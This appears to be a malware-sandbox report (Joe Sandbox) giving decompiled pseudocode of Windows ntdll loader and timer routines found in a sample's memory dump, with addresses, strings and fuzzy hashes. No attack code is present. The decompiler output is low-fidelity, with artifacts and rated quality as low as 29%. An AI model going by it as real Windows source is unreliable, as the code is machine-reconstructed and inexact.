				_t54 = __edx;
				_v28 = __ecx;
				_v24 = L34D04B46(_t68);
				_v12 =  *((intOrPtr*)(_t54 + 0x2c));
				_v8 =  *((intOrPtr*)(_t54 + 0x30));
				_v20 =  *((intOrPtr*)(_t54 + 0x90));
				_t37 =  *0x34d76714; // 0x0
				_v16 = _t68;
				_t69 =  *0x34d76710; // 0x0
				if((_t37 & 0x00000001) != 0) {
					if(_t69 == 0) {
						_t69 = 0;
						__eflags = 0;
					} else {
						_t69 = _t69 ^ 0x34d76710;
					}
				}
				_t64 = _t37 & 1;
				while(_t69 != 0) {
					__eflags = E34D04528(_t54, _t69,  &_v24, _t69);
					if(__eflags >= 0) {
						if(__eflags <= 0) {
							L25:
							while(_t69 != 0) {
								_t41 = E34D04528(_t54, _t69,  &_v24, _t69);
								__eflags = _t41;
								if(_t41 != 0) {
									break;
								}
								_t66 =  *0x34d75ca0; // 0x0
								__eflags = _t66;
								if(_t66 == 0) {
									L28:
									__eflags =  *0x34d737c0 & 0x00000005;
									_t70 =  *((intOrPtr*)(_t69 + 0x20));
									if(( *0x34d737c0 & 0x00000005) != 0) {
										_t44 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
										_push( *((intOrPtr*)(_t44 + 0x2a8)));
										_push( *((intOrPtr*)(_t44 + 0x2a4)));
										_push(_a4);
										_push( *((intOrPtr*)(_t54 + 0x30)));
										_push( *((intOrPtr*)(_t54 + 0x2c)));
										_push( *((intOrPtr*)(_v28 + 0x30)));
										E34CFE692("minkernel\\ntdll\\ldrredirect.c", 0x12b, "LdrpCheckRedirection", 2, "Import Redirection: %wZ %wZ!%s redirected to %wZ\n",  *((intOrPtr*)(_v28 + 0x2c)));
									}
									L27:
									return _t70;
								}
								 *0x34d791e0( *((intOrPtr*)(_v28 + 0x28)),  *((intOrPtr*)(_t69 + 0x24)));
								_t49 =  *_t66();
								__eflags = _t49;
								if(_t49 != 0) {
									goto L28;
								}
								_t50 =  *(_t69 + 4);
								_t59 = _t69;
								__eflags = _t50;
								if(_t50 == 0) {
									while(1) {
										_t69 =  *(_t69 + 8) & 0xfffffffc;
										__eflags = _t69;
										if(_t69 == 0) {
											goto L25;
										}
										__eflags =  *_t69 - _t59;
										if( *_t69 == _t59) {
											goto L25;
										}
										_t59 = _t69;
									}
									continue;
								}
								_t69 = _t50;
								_t60 =  *_t69;
								__eflags = _t60;
								if(_t60 == 0) {
									continue;
								} else {
									goto L20;
								}
								do {
									L20:
									_t51 =  *_t60;
									_t69 = _t60;
									_t60 = _t51;
									__eflags = _t51;
								} while (_t51 != 0);
							}
							_t70 = 0xffbadd11;
							goto L27;
						}
						_t52 =  *(_t69 + 4);
						L9:
						__eflags = _t64;
						if(_t64 == 0) {
							L12:
							_t69 = _t52;
							continue;
						}
						__eflags = _t52;
						if(_t52 == 0) {
							goto L12;
						}
						_t69 = _t69 ^ _t52;
						continue;
					}
					_t52 =  *_t69;
					goto L9;
				}
				goto L25;
			}

0x34d043e2
0x34d043e5
0x34d043e7
0x34d043f3
0x34d043fa
0x34d04401
0x34d0440b
0x34d0440f
0x34d04414
0x34d04418
0x34d04420
0x34d04424
0x34d0442e
0x34d0442e
0x34d04426
0x34d04426
0x34d04426
0x34d04424
0x34d04433
0x34d0445e
0x34d04443
0x34d04445
0x34d0444b
0x00000000
0x34d044c0
0x34d0446a
0x34d0446f
0x34d04471
0x00000000
0x00000000
0x34d04473
0x34d04479
0x34d0447b
0x34d044d4
0x34d044d4
0x34d044db
0x34d044de
0x34d044e6
0x34d044e9
0x34d044ef
0x34d044f9
0x34d044fc
0x34d044ff
0x34d04502
0x34d0451e
0x34d04523
0x34d044c9
0x34d044d1
0x34d044d1
0x34d04489
0x34d0448f
0x34d04491
0x34d04493
0x00000000
0x00000000
0x34d04495
0x34d04498
0x34d0449a
0x34d0449c
0x34d044b8
0x34d044bb
0x34d044bb
0x34d044be
0x00000000
0x00000000
0x34d044b2
0x34d044b4
0x00000000
0x00000000
0x34d044b6
0x34d044b6
0x00000000
0x34d044b8
0x34d0449e
0x34d044a0
0x34d044a2
0x34d044a4
0x00000000
0x00000000
0x00000000
0x00000000
0x34d044a6
0x34d044a6
0x34d044a6
0x34d044a8
0x34d044aa
0x34d044ac
0x34d044ac
0x34d044b0
0x34d044c4
0x00000000
0x34d044c4
0x34d0444d
0x34d04450
0x34d04450
0x34d04452
0x34d0445c
0x34d0445c
0x00000000
0x34d0445c
0x34d04454
0x34d04456
0x00000000
0x00000000
0x34d04458
0x00000000
0x34d04458
0x34d04447
0x00000000
0x34d04447
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34D04489

Strings

Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 34D04508
minkernel\ntdll\ldrredirect.c, xrefs: 34D04519
LdrpCheckRedirection, xrefs: 34D0450F

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 3446177414-3154609507
Opcode ID: 1bd7d582d5884264d04e2658e7e2ef6f8fbda895194c0ecd0925944b2576ad7a
Instruction ID: c9f1144c2b8f000b45d466d5f7455d9a9c858feaccce500d72751c0c72f3f4d8
Opcode Fuzzy Hash: 1bd7d582d5884264d04e2658e7e2ef6f8fbda895194c0ecd0925944b2576ad7a
Instruction Fuzzy Hash: D041BD767043119FDB50CF68C940E167BE9FF886A8F05869DEC98A7262DB70E8008F91

Uniqueness

Uniqueness Score: -1.00%

Function 34CAEE48 Relevance: 6.3, APIs: 4, Instructions: 347
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E34CAEE48(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t196;
				signed int _t201;
				signed int _t202;
				intOrPtr _t206;
				signed int _t207;
				intOrPtr _t209;
				intOrPtr _t215;
				signed int _t222;
				signed int _t227;
				signed int _t228;
				signed int _t231;
				signed int _t244;
				signed int _t247;
				char* _t250;
				intOrPtr _t255;
				signed int _t269;
				signed int* _t270;
				intOrPtr _t279;
				signed char _t284;
				signed int _t291;
				signed int _t292;
				intOrPtr _t301;
				intOrPtr* _t307;
				signed int _t308;
				signed int _t309;
				intOrPtr _t313;
				intOrPtr _t314;
				intOrPtr* _t316;
				void* _t318;

				_push("true");
				_push(0x34d5c610);
				E34CD7C40(__ebx, __edi, __esi);
				_t313 = __edx;
				 *((intOrPtr*)(_t318 - 0x48)) = __edx;
				 *((intOrPtr*)(_t318 - 0x20)) = __ecx;
				 *(_t318 - 0x58) = 0;
				 *((intOrPtr*)(_t318 - 0x74)) = 0;
				_t269 = 0;
				 *(_t318 - 0x64) = 0;
				 *((intOrPtr*)(_t318 - 0x70)) =  *((intOrPtr*)(__ecx + 0x2c)) + __ecx;
				_t196 = __edx + 0x28;
				 *((intOrPtr*)(_t318 - 0x78)) = _t196;
				 *((intOrPtr*)(_t318 - 0x84)) = _t196;
				L34C92330(_t196, _t196);
				_t314 =  *((intOrPtr*)(_t313 + 0x2c));
				 *((intOrPtr*)(_t318 - 0x68)) = _t314;
				L1:
				while(1) {
					if(_t314 ==  *((intOrPtr*)(_t318 - 0x48)) + 0x2c) {
						E34C924D0( *((intOrPtr*)(_t318 - 0x78)));
						asm("sbb ebx, ebx");
						 *[fs:0x0] =  *((intOrPtr*)(_t318 - 0x10));
						return  ~_t269 & 0xc000022d;
					}
					 *((intOrPtr*)(_t318 - 0x54)) = _t314 - 4;
					_t307 = 0x7ffe0010;
					_t270 = 0x7ffe03b0;
					goto L4;
					do {
						do {
							do {
								do {
									L4:
									_t201 =  *0x34d767f0; // 0x0
									 *(_t318 - 0x30) = _t201;
									_t202 =  *0x34d767f4; // 0x0
									 *(_t318 - 0x3c) = _t202;
									 *(_t318 - 0x28) =  *_t270;
									 *(_t318 - 0x5c) = _t270[1];
									while(1) {
										_t301 =  *0x7ffe000c;
										_t279 =  *0x7ffe0008;
										__eflags = _t301 -  *_t307;
										if(_t301 ==  *_t307) {
											goto L6;
										}
										asm("pause");
									}
									L6:
									_t270 = 0x7ffe03b0;
									_t308 =  *0x7ffe03b0;
									 *(_t318 - 0x38) = _t308;
									_t206 =  *0x7FFE03B4;
									 *((intOrPtr*)(_t318 - 0x34)) = _t206;
									__eflags =  *(_t318 - 0x28) - _t308;
									_t307 = 0x7ffe0010;
								} while ( *(_t318 - 0x28) != _t308);
								__eflags =  *(_t318 - 0x5c) - _t206;
							} while ( *(_t318 - 0x5c) != _t206);
							_t207 =  *0x34d767f0; // 0x0
							_t309 =  *0x34d767f4; // 0x0
							 *(_t318 - 0x28) = _t309;
							__eflags =  *(_t318 - 0x30) - _t207;
							_t307 = 0x7ffe0010;
						} while ( *(_t318 - 0x30) != _t207);
						__eflags =  *(_t318 - 0x3c) -  *(_t318 - 0x28);
					} while ( *(_t318 - 0x3c) !=  *(_t318 - 0x28));
					_t316 =  *((intOrPtr*)(_t318 - 0x68));
					_t269 =  *(_t318 - 0x64);
					asm("sbb edx, [ebp-0x34]");
					asm("sbb edx, eax");
					 *(_t318 - 0x28) = _t279 -  *(_t318 - 0x38) -  *(_t318 - 0x30) + 0x7a120;
					asm("adc edx, edi");
					asm("lock inc dword [esi+0x28]");
					_t209 =  *((intOrPtr*)(_t318 - 0x20));
					_t40 = _t209 + 0x18; // 0x498bfc8
					_t284 =  *(_t316 + 0x20) &  *_t40;
					 *(_t318 - 0x38) = _t284;
					__eflags =  *(_t316 + 0x30);
					if( *(_t316 + 0x30) != 0) {
						L37:
						_t314 =  *_t316;
						 *((intOrPtr*)(_t318 - 0x68)) = _t314;
						E34CAF24A(_t318 - 0x74, _t269,  *((intOrPtr*)(_t318 - 0x54)), _t318 - 0x58, 0, _t314, _t318 - 0x74);
						__eflags =  *(_t318 - 0x58);
						if( *(_t318 - 0x58) != 0) {
							 *0x34d791e0( *((intOrPtr*)(_t318 - 0x74)));
							 *(_t318 - 0x58)();
						}
						continue;
					}
					__eflags = _t284;
					if(_t284 == 0) {
						goto L37;
					}
					 *(_t318 - 0x60) = _t284;
					_t44 = _t318 - 0x60;
					 *_t44 =  *(_t318 - 0x60) & 0x00000001;
					__eflags =  *_t44;
					if( *_t44 == 0) {
						L40:
						__eflags = _t284 & 0xfffffffe;
						if((_t284 & 0xfffffffe) != 0) {
							__eflags =  *(_t316 + 0x60);
							if( *(_t316 + 0x60) == 0) {
								L14:
								__eflags =  *(_t316 + 0x3c);
								if( *(_t316 + 0x3c) != 0) {
									__eflags = _t301 -  *((intOrPtr*)(_t316 + 0x48));
									if(__eflags > 0) {
										goto L15;
									}
									if(__eflags < 0) {
										L59:
										_t146 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x4991e4c
										__eflags =  *((intOrPtr*)(_t316 + 0x58)) -  *_t146;
										if( *((intOrPtr*)(_t316 + 0x58)) >=  *_t146) {
											goto L37;
										}
										goto L15;
									}
									__eflags =  *(_t318 - 0x28) -  *((intOrPtr*)(_t316 + 0x44));
									if( *(_t318 - 0x28) >=  *((intOrPtr*)(_t316 + 0x44))) {
										goto L15;
									}
									goto L59;
								}
								L15:
								__eflags =  *(_t318 + 8);
								if( *(_t318 + 8) != 0) {
									__eflags =  *(_t316 + 0x54);
									if( *(_t316 + 0x54) != 0) {
										goto L16;
									}
									goto L37;
								}
								L16:
								 *(_t318 - 0x24) = 0;
								 *(_t318 - 0x30) = 0;
								 *((intOrPtr*)(_t318 - 0x2c)) =  *((intOrPtr*)(_t316 + 0xc));
								_t215 =  *((intOrPtr*)(_t316 + 8));
								 *((intOrPtr*)(_t318 - 0x44)) =  *((intOrPtr*)(_t215 + 0x10));
								 *((intOrPtr*)(_t318 - 0x40)) =  *((intOrPtr*)(_t215 + 0x14));
								 *(_t318 - 0x5c) =  *(_t215 + 0x24);
								 *((intOrPtr*)(_t318 - 0x34)) =  *((intOrPtr*)(_t316 + 0x10));
								 *((intOrPtr*)(_t318 - 0x6c)) =  *((intOrPtr*)(_t316 + 0x14));
								 *((intOrPtr*)(_t316 + 0x5c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
								_t222 =  *((intOrPtr*)(_t318 - 0x48)) + 0x28;
								 *(_t318 - 0x8c) = _t222;
								_t291 = _t222;
								 *(_t318 - 0x28) = _t291;
								 *(_t318 - 0x88) = _t291;
								E34C924D0(_t222);
								_t292 = 0;
								 *(_t318 - 0x50) = 0;
								 *(_t318 - 0x4c) = 0;
								 *(_t318 - 0x3c) = 0;
								__eflags =  *(_t316 + 0x24);
								if(__eflags != 0) {
									asm("lock bts dword [eax], 0x0");
									_t227 = 0;
									_t228 = _t227 & 0xffffff00 | __eflags >= 0x00000000;
									 *(_t318 - 0x4c) = _t228;
									 *(_t318 - 0x3c) = _t228;
									__eflags = _t228;
									if(_t228 != 0) {
										goto L17;
									}
									__eflags =  *(_t318 + 8) - 1;
									if( *(_t318 + 8) == 1) {
										L34C92330( *(_t316 + 0x24) + 0x10,  *(_t316 + 0x24) + 0x10);
										_t228 = 1;
										 *(_t318 - 0x4c) = 1;
										 *(_t318 - 0x3c) = 1;
										goto L17;
									}
									_t231 = _t228 + 1;
									L35:
									 *(_t316 + 0x54) = _t231;
									__eflags = _t292;
									if(_t292 == 0) {
										L34C92330(_t231,  *(_t318 - 0x28));
									}
									 *((intOrPtr*)(_t316 + 0x5c)) = 0;
									goto L37;
								}
								L17:
								__eflags =  *(_t316 + 0x30);
								if( *(_t316 + 0x30) != 0) {
									L26:
									__eflags =  *(_t318 - 0x4c);
									if( *(_t318 - 0x4c) != 0) {
										_t228 = E34C924D0( *(_t316 + 0x24) + 0x10);
									}
									__eflags =  *(_t318 - 0x30);
									if( *(_t318 - 0x30) == 0) {
										L71:
										_t292 =  *(_t318 - 0x50);
										L34:
										_t231 = 0;
										goto L35;
									}
									L34C92330(_t228,  *(_t318 - 0x8c));
									_t292 = 1;
									 *(_t318 - 0x50) = 1;
									__eflags =  *(_t318 - 0x24) - 0xc000022d;
									if( *(_t318 - 0x24) == 0xc000022d) {
										L69:
										__eflags =  *(_t316 + 0x1c) & 0x00000004;
										if(( *(_t316 + 0x1c) & 0x00000004) == 0) {
											goto L34;
										}
										_t269 = 1;
										__eflags = 1;
										 *(_t318 - 0x64) = 1;
										_t187 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x4991e4c
										E34D0C726( *((intOrPtr*)(_t318 - 0x54)),  *(_t318 - 0x24),  *_t187);
										goto L71;
									}
									__eflags =  *(_t318 - 0x24) - 0xc0000017;
									if( *(_t318 - 0x24) == 0xc0000017) {
										goto L69;
									}
									__eflags =  *(_t316 + 0x18);
									if( *(_t316 + 0x18) != 0) {
										_t133 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x4991e4c
										__eflags =  *_t133 -  *(_t316 + 0x18);
										if( *_t133 -  *(_t316 + 0x18) > 0) {
											goto L31;
										}
										L32:
										__eflags =  *(_t316 + 0x1c) & 0x00000004;
										if(( *(_t316 + 0x1c) & 0x00000004) != 0) {
											__eflags =  *(_t316 + 0x4c);
											if( *(_t316 + 0x4c) > 0) {
												 *(_t316 + 0x3c) = 0;
												 *((intOrPtr*)(_t316 + 0x50)) = 0;
												 *((intOrPtr*)(_t316 + 0x44)) = 0;
												 *((intOrPtr*)(_t316 + 0x48)) = 0;
												 *(_t316 + 0x4c) = 0;
												 *((intOrPtr*)(_t316 + 0x58)) = 0;
											}
										}
										goto L34;
									}
									L31:
									_t107 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x4991e4c
									 *(_t316 + 0x18) =  *_t107;
									goto L32;
								}
								 *(_t318 - 0x30) = 1;
								 *((intOrPtr*)(_t318 - 0x7c)) = 1;
								 *((intOrPtr*)(_t318 - 0x6c)) = E34CAF1F0( *((intOrPtr*)(_t318 - 0x6c)));
								 *((intOrPtr*)(_t318 - 4)) = 0;
								__eflags =  *(_t318 - 0x60);
								if( *(_t318 - 0x60) != 0) {
									_t255 =  *((intOrPtr*)(_t318 - 0x20));
									_t82 = _t255 + 0x14; // 0x498bfc8
									_t86 = _t255 + 0x10; // 0x4991e4c
									 *0x34d791e0( *((intOrPtr*)(_t318 - 0x44)),  *((intOrPtr*)(_t318 - 0x40)),  *_t86,  *(_t318 - 0x5c),  *((intOrPtr*)(_t318 - 0x34)),  *((intOrPtr*)(_t318 - 0x70)),  *_t82);
									 *(_t318 - 0x24) =  *((intOrPtr*)(_t318 - 0x2c))();
								}
								_t244 =  *(_t318 - 0x38);
								__eflags = _t244 & 0x00000010;
								if((_t244 & 0x00000010) != 0) {
									__eflags =  *(_t316 + 0x30);
									if( *(_t316 + 0x30) != 0) {
										goto L21;
									}
									__eflags =  *(_t318 - 0x24);
									if( *(_t318 - 0x24) >= 0) {
										L64:
										 *0x34d791e0( *((intOrPtr*)(_t318 - 0x44)),  *((intOrPtr*)(_t318 - 0x40)), 0,  *(_t318 - 0x5c),  *((intOrPtr*)(_t318 - 0x34)), 0, 0);
										 *((intOrPtr*)(_t318 - 0x2c))();
										 *(_t318 - 0x24) = 0;
										_t244 =  *(_t318 - 0x38);
										goto L21;
									}
									__eflags =  *(_t316 + 0x1c) & 0x00000004;
									if(( *(_t316 + 0x1c) & 0x00000004) != 0) {
										goto L21;
									}
									goto L64;
								} else {
									L21:
									__eflags = _t244 & 0xffffffee;
									if((_t244 & 0xffffffee) != 0) {
										 *(_t318 - 0x24) = 0;
										 *0x34d791e0( *((intOrPtr*)(_t318 - 0x44)),  *((intOrPtr*)(_t318 - 0x40)),  *((intOrPtr*)(_t318 - 0x34)), _t244);
										 *((intOrPtr*)(_t318 - 0x2c))();
									}
									_t247 = E34C93C40();
									__eflags = _t247;
									if(_t247 != 0) {
										_t250 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
									} else {
										_t250 = 0x7ffe038e;
									}
									__eflags =  *_t250;
									if( *_t250 != 0) {
										_t175 =  *((intOrPtr*)(_t318 - 0x20)) + 0x10; // 0x4991e4c
										_t250 = E34D0C490( *_t175,  *((intOrPtr*)(_t318 - 0x54)),  *((intOrPtr*)(_t318 - 0x48)),  *((intOrPtr*)(_t318 - 0x2c)),  *(_t318 - 0x38),  *(_t318 - 0x24),  *((intOrPtr*)(_t318 - 0x44)),  *((intOrPtr*)(_t318 - 0x40)));
									}
									 *((intOrPtr*)(_t318 - 4)) = 0xfffffffe;
									E34CAF1DB(_t250);
									_t228 = E34CAF1F0( *((intOrPtr*)(_t318 - 0x6c)));
									goto L26;
								}
							}
						}
						__eflags = _t284 & 0x00000010;
						if((_t284 & 0x00000010) == 0) {
							goto L37;
						}
						goto L14;
					}
					__eflags =  *(_t316 + 0x18);
					if( *(_t316 + 0x18) != 0) {
						_t120 = _t209 + 0x10; // 0x4991e4c
						__eflags =  *_t120 -  *(_t316 + 0x18);
						if( *_t120 -  *(_t316 + 0x18) > 0) {
							goto L14;
						}
						goto L40;
					}
					goto L14;
				}
			}

0x34caee48
0x34caee4a
0x34caee4f
0x34caee54
0x34caee56
0x34caee5b
0x34caee60
0x34caee63
0x34caee66
0x34caee68
0x34caee70
0x34caee73
0x34caee76
0x34caee79
0x34caee80
0x34caee85
0x34caee88
0x00000000
0x34caee8b
0x34caee93
0x34caee98
0x34caee9f
0x34caeeac
0x34caeeb8
0x34caeeb8
0x34caeebe
0x34caeec6
0x34caeec9
0x34caeec9
0x34caeece
0x34caeece
0x34caeece
0x34caeece
0x34caeece
0x34caeece
0x34caeed3
0x34caeed6
0x34caeedb
0x34caeee0
0x34caeee6
0x34caeeee
0x34caeeee
0x34caeef0
0x34caeef4
0x34caeef6
0x00000000
0x00000000
0x34caf1dc
0x34caf1dc
0x34caeefc
0x34caeefc
0x34caef01
0x34caef03
0x34caef06
0x34caef09
0x34caef0c
0x34caef0f
0x34caef0f
0x34caef16
0x34caef16
0x34caef1b
0x34caef20
0x34caef26
0x34caef29
0x34caef2c
0x34caef2c
0x34caef36
0x34caef36
0x34caef3b
0x34caef40
0x34caef46
0x34caef4c
0x34caef54
0x34caef57
0x34caef59
0x34caef60
0x34caef63
0x34caef63
0x34caef66
0x34caef69
0x34caef6c
0x34caf113
0x34caf113
0x34caf115
0x34caf122
0x34caf127
0x34caf12b
0x34cefe64
0x34cefe6a
0x34cefe6a
0x00000000
0x34caf12b
0x34caef72
0x34caef74
0x00000000
0x00000000
0x34caef7a
0x34caef7d
0x34caef7d
0x34caef7d
0x34caef81
0x34caf144
0x34caf144
0x34caf14a
0x34cefd20
0x34cefd23
0x34caef90
0x34caef90
0x34caef93
0x34cefd2e
0x34cefd31
0x00000000
0x00000000
0x34cefd37
0x34cefd45
0x34cefd4b
0x34cefd4b
0x34cefd4e
0x00000000
0x00000000
0x00000000
0x34cefd54
0x34cefd3c
0x34cefd3f
0x00000000
0x00000000
0x00000000
0x34cefd3f
0x34caef99
0x34caef99
0x34caef9c
0x34caf1a6
0x34caf1a9
0x00000000
0x00000000
0x00000000
0x34caf1af
0x34caefa2
0x34caefa2
0x34caefa5
0x34caefab
0x34caefae
0x34caefb4
0x34caefba
0x34caefc0
0x34caefc6
0x34caefcc
0x34caefd8
0x34caefde
0x34caefe1
0x34caefe7
0x34caefe9
0x34caefec
0x34caeff3
0x34caeff8
0x34caeffa
0x34caefff
0x34caf002
0x34caf008
0x34caf00a
0x34caf15d
0x34caf164
0x34caf165
0x34caf168
0x34caf16b
0x34caf16e
0x34caf170
0x00000000
0x00000000
0x34caf176
0x34caf17a
0x34caf1c8
0x34caf1cf
0x34caf1d0
0x34caf1d3
0x00000000
0x34caf1d3
0x34caf17c
0x34caf105
0x34caf105
0x34caf108
0x34caf10a
0x34caf1b7
0x34caf1b7
0x34caf110
0x00000000
0x34caf110
0x34caf010
0x34caf010
0x34caf013
0x34caf0a2
0x34caf0a2
0x34caf0a6
0x34caf186
0x34caf186
0x34caf0ac
0x34caf0b0
0x34cefe56
0x34cefe56
0x34caf103
0x34caf103
0x00000000
0x34caf103
0x34caf0bc
0x34caf0c3
0x34caf0c4
0x34caf0c7
0x34caf0ce
0x34cefe35
0x34cefe35
0x34cefe39
0x00000000
0x00000000
0x34cefe41
0x34cefe41
0x34cefe42
0x34cefe48
0x34cefe51
0x00000000
0x34cefe51
0x34caf0d4
0x34caf0db
0x00000000
0x00000000
0x34caf0e1
0x34caf0e5
0x34caf193
0x34caf199
0x34caf19b
0x00000000
0x00000000
0x34caf0f4
0x34caf0f4
0x34caf0f8
0x34caf0fa
0x34caf0fd
0x34cefe1e
0x34cefe21
0x34cefe24
0x34cefe27
0x34cefe2a
0x34cefe2d
0x34cefe2d
0x34caf0fd
0x00000000
0x34caf0f8
0x34caf0eb
0x34caf0ee
0x34caf0f1
0x00000000
0x34caf0f1
0x34caf01c
0x34caf01f
0x34caf02a
0x34caf02d
0x34caf030
0x34caf034
0x34caf036
0x34caf039
0x34caf045
0x34caf051
0x34caf05a
0x34caf05a
0x34caf05d
0x34caf060
0x34caf062
0x34cefd59
0x34cefd5c
0x00000000
0x00000000
0x34cefd62
0x34cefd66
0x34cefd72
0x34cefd84
0x34cefd8a
0x34cefd8d
0x34cefd90
0x00000000
0x34cefd90
0x34cefd68
0x34cefd6c
0x00000000
0x00000000
0x00000000
0x34caf068
0x34caf068
0x34caf068
0x34caf06d
0x34cefd98
0x34cefda8
0x34cefdae
0x34cefdae
0x34caf073
0x34caf078
0x34caf07a
0x34cefdbf
0x34caf080
0x34caf080
0x34caf080
0x34caf085
0x34caf088
0x34cefde1
0x34cefde4
0x34cefde4
0x34caf08e
0x34caf095
0x34caf09d
0x00000000
0x34caf09d
0x34caf062
0x34cefd29
0x34caf150
0x34caf153
0x00000000
0x00000000
0x00000000
0x34caf155
0x34caef87
0x34caef8a
0x34caf136
0x34caf13c
0x34caf13e
0x00000000
0x00000000
0x00000000
0x34caf13e
0x00000000
0x34caef8a

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3710e795e40009deff089f181a2e1682b0a2c0da9338fab14188f69ef9f2b3e5
Instruction ID: 231f33d6b2303109e01f89f3d7c3ebb3f80cfdd28b8aaa55c82bab17c04ec2db
Opcode Fuzzy Hash: 3710e795e40009deff089f181a2e1682b0a2c0da9338fab14188f69ef9f2b3e5
Instruction Fuzzy Hash: F5E10E79E00709DFEB25CFA9C984A9DBBF6FF48340F14452AE546A7220DB70A981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 34D5A04A Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 34D5A0F7
RtlDebugPrintTimes.NTDLL ref: 34D5A1AA
RtlDebugPrintTimes.NTDLL ref: 34D5A1CE
RtlDebugPrintTimes.NTDLL ref: 34D5A1E3

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: cec00a631d0e03e8f16b995303250435f1ddc8edf87b46780d434a3aa377376c
Instruction ID: a21dc9094f52495a16905d660a1757984b64172e66104fff2146925ea45c59ef
Opcode Fuzzy Hash: cec00a631d0e03e8f16b995303250435f1ddc8edf87b46780d434a3aa377376c
Instruction Fuzzy Hash: E5516A79710A229FEF08DE18D9A0A19B7E5FB89391B1041ADD906DB724DF71EC51CB80

Uniqueness

Uniqueness Score: -1.00%

Function 34CB7A4F Relevance: 6.1, APIs: 4, Instructions: 81
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E34CB7A4F(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t34;
				signed int _t35;
				signed int _t40;
				intOrPtr _t42;
				void* _t50;
				intOrPtr* _t55;
				intOrPtr* _t69;
				void* _t73;

				_t63 = __edx;
				_t51 = __ebx;
				_push("true");
				_push(0x34d5c840);
				L34CD7BE4(__ebx, __edi, __esi);
				_t66 = __ecx;
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				_t69 =  *0x34d75a7c;
				_push(__edx);
				if(_t69 == 0) {
					 *0x34d791e0();
					E34CBB490(__ecx, __edx,  *__ecx());
					_t55 =  *((intOrPtr*)(_t73 - 0x14));
					 *((intOrPtr*)(_t73 - 0x40)) =  *((intOrPtr*)( *_t55));
					 *((intOrPtr*)(_t73 - 0x24)) = _t55;
					_t34 =  *0x34d75d38; // 0x6af75977
					 *(_t73 - 0x30) = _t34;
					__eflags =  *0x34d765fc; // 0x2a8754d6
					if(__eflags == 0) {
						_push(0);
						_push("true");
						_push(_t73 - 0x2c);
						_push("true");
						_push(0xffffffff);
						 *(_t73 - 0x1c) = L34CC2B20();
						__eflags =  *(_t73 - 0x1c);
						if( *(_t73 - 0x1c) < 0) {
							E34CD8AA0(_t55, _t63,  *(_t73 - 0x1c));
						}
						 *0x34d765fc =  *(_t73 - 0x2c);
					}
					_t35 =  *0x34d765fc; // 0x2a8754d6
					 *(_t73 - 0x20) = _t35;
					_push("true");
					asm("ror eax, cl");
					 *(_t73 - 0x34) =  *(_t73 - 0x30);
					_t40 =  *(_t73 - 0x34) ^  *(_t73 - 0x20);
					__eflags = _t40;
					 *(_t73 - 0x38) = _t40;
					if(__eflags == 0) {
						 *((intOrPtr*)(_t73 - 0x3c)) = E34D38890(_t51, _t63, _t66, 0, __eflags,  *((intOrPtr*)(_t73 - 0x24)), 0x34c550b4);
						_t42 =  *((intOrPtr*)(_t73 - 0x3c));
					} else {
						 *0x34d791e0( *((intOrPtr*)(_t73 - 0x24)));
						_t42 =  *( *(_t73 - 0x38))();
					}
					 *((intOrPtr*)(_t73 - 0x28)) = _t42;
					return  *((intOrPtr*)(_t73 - 0x28));
				} else {
					 *0x34d791e0();
					_t50 =  *_t69();
					 *(_t73 - 4) = 0xfffffffe;
					 *[fs:0x0] =  *((intOrPtr*)(_t73 - 0x10));
					return _t50;
				}
			}

0x34cb7a4f
0x34cb7a4f
0x34cb7a4f
0x34cb7a51
0x34cb7a56
0x34cb7a5b
0x34cb7a5d
0x34cb7a61
0x34cb7a67
0x34cb7a6a
0x34cf47f8
0x34cf4801
0x34cf4806
0x34cf480d
0x34cf4810
0x34cf4813
0x34cf4818
0x34cf481d
0x34cf4823
0x34cf4825
0x34cf4826
0x34cf482b
0x34cf482c
0x34cf482e
0x34cf4835
0x34cf4838
0x34cf483b
0x34cf4840
0x34cf4840
0x34cf4848
0x34cf4848
0x34cf484d
